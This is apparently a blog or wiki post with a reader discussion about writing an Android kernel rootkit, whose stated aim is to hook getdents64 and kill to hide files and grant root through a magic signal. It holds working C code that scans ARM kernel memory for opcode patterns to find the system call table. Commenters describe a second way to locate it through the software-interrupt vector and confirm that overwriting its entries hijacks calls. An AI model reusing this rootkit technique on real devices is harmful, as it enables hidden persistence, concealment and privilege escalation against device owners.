For some reasons, I had to write a special module for Android : a rootkit. That's the reason why I had to recompile the kernel to turn on module support (see last post).
The rootkit itself was no rocket science. The goal was to override getdents64 and kill system calls to hide files and get root with a magic signal. This has been done over and over again and is implemented in most rootkits. What I did not find, however, was a way to hijack syscalls on a ARM architecture (and Android is based on ARM).
I didn't need to be stealth at all, so I went for the easy way : hijack the syscall table. The problem, as usual, is finding that table. The code below does just that :
static unsigned long* sys_call_table; static int get_sys_call_table(void) { unsigned long *ptr; unsigned long *ptr_save = NULL; long delta; ptr=(unsigned long *)init_mm.start_code; /* The following code should not change, use it as an anchor * * include/asm-arm/unistd.h: #define __NR_OABI_SYSCALL_BASE 0x900000 (decimal 9437184) * scno is defined as r7 71c: e3c07609 bic r7, r0, #9437184 ; bic scno, r0, #__NR_OABI_SYSCALL_BASE 720: e3570071 cmp r7, #113 ; 0x71 cmp scno, #__NR_syscall-__NR_SYSCALL_BASE 724: 13570f59 cmpne r7, #356 ; 0x164 cmpne scno, #NR_syscalls 728: 388d0060 stmccia sp, {r5, r6} ; 72c: 31a00001 movcc r0, r1 730: 31a01002 movcc r1, r2 734: 31a02003 movcc r2, r3 738: 31a03004 movcc r3, r4 73c: 3798f107 ldrcc pc, [r8, r7, lsl #2] */ /* Look in the code section */ while((unsigned long )ptr < (unsigned long)init_mm.end_code) { if((unsigned long *)*ptr == (unsigned long *)sys_close) { ptr_save = ptr-6; printk (KERN_INFO" -> matching detected at %p\n", ptr_save); } if( (unsigned long *)*ptr == (unsigned long *)0xe3c07609 && (unsigned long *)*(ptr+1) == (unsigned long *)0xe3570071 && (unsigned long *)*(ptr+2) == (unsigned long *)0x13570f59 && (unsigned long *)*(ptr+3) == (unsigned long *)0x388d0060 && (unsigned long *)*(ptr+4) == (unsigned long *)0x31a00001 && (unsigned long *)*(ptr+5) == (unsigned long *)0x31a01002 && (unsigned long *)*(ptr+6) == (unsigned long *)0x31a02003 && (unsigned long *)*(ptr+7) == (unsigned long *)0x31a03004 ){ delta = ptr - ptr_save; printk (KERN_INFO" -> opcode detected at %p, probable stc %p, delta = %ld\n", ptr, ptr_save, delta); // Should be 0x164 : allow for small variation... if(delta > 0x154 && delta < 0x174){ sys_call_table = (unsigned long *)ptr_save; return 0; } } ptr++; } return -1; }
Discussion
Came across this while looking around for info on sys call hooking on ARM linux. The above method wouldn't work for me on current versions of Android, so I set about trying to find another way. Since the posts in this wiki have been so helpful to me getting started understanding cross-compilation and native Android development, I thought I'd share my method for finding the sys call table. Please feel free to critique, and let me know if there's anywhere more current that I should post this instead; I couldn't find much discussion on this topic anywhere, and this wiki is linked to from a number of places.
The code is below and is commented enough that it should be pretty self-explanatory, but whenever someone else tells me their code is self-explanatory, I just feel dumb for not understanding it ;) So a few sentences of overview might help:
The method given above by fred is based on a search through the code block for pointers to sys_close, looking for a specific memory pattern to indicate when you've found the pointer that sits in the sys_call_table, then relying on the address of the table lying 6 words prior to that address. This is similar to a trick found on x86 systems as well, but is considered somewhat less reliable due to the instability of the pattern relied on. On x86 linux systems, a *somewhat* more reliable way to find the sys_call_table is to look up the sys_call interrupt handler address in the interrupt descriptor table, which is entry 0×80. Then one searches through the sys_call interrupt handler for a reference to the sys_call_table that the handler uses to look up the exact sys_call function that needs to be jumped to. My approach borrows this latter method.
On ARM linux systems, there is no IDT per-se, but the software interrupt (swi) handler is pointed to by a ldr instruction found at 0×00000008, or at 0xFFFF0008 on high-vector implementations like Android. Follow that pointer, search the function it points to for the instruction that loads the sys call table pointer, and you're off to the races. See the code for more details.
You're right. My technique is quick and dirty. The good point is that it work on most architectures.
The drawback is that it's not stable. FYI I rewrote the code above for Android 1.6, and NR_syscalls had changed, so I had to increment one of those hex patterns. Not a big deal, but still, you'd want something more reliable.
Your technique is nice, and should be a lot more stable. Plus, it relies on SWI and I find it beautiful :)
Thanks a lot for sharing.
Hi,
Once you have found sys_call_table
would you then e.g.,
orig_getdents64 = sys_call_table[__NR_getdents64];
Does android use the NR_syscalls or does it reference them differently ?
Cheers dude, keep up the interesting work!!!
?
Yeah, that's exactly what you'd do. I got as far as replacing sys_write for POC, and it definitely worked. I pulled an example straight out of some 10+ year-old sys_call hooking tutorial, it's just as easy as it has always been on x86, no special sauce there. Infact, take a look at /arch/arm/kernel/entry-common.S to see exactly how a sys_call gets invoked. It goes right to that table and makes the jump, so after you overwrite the entries you care about, you're golden.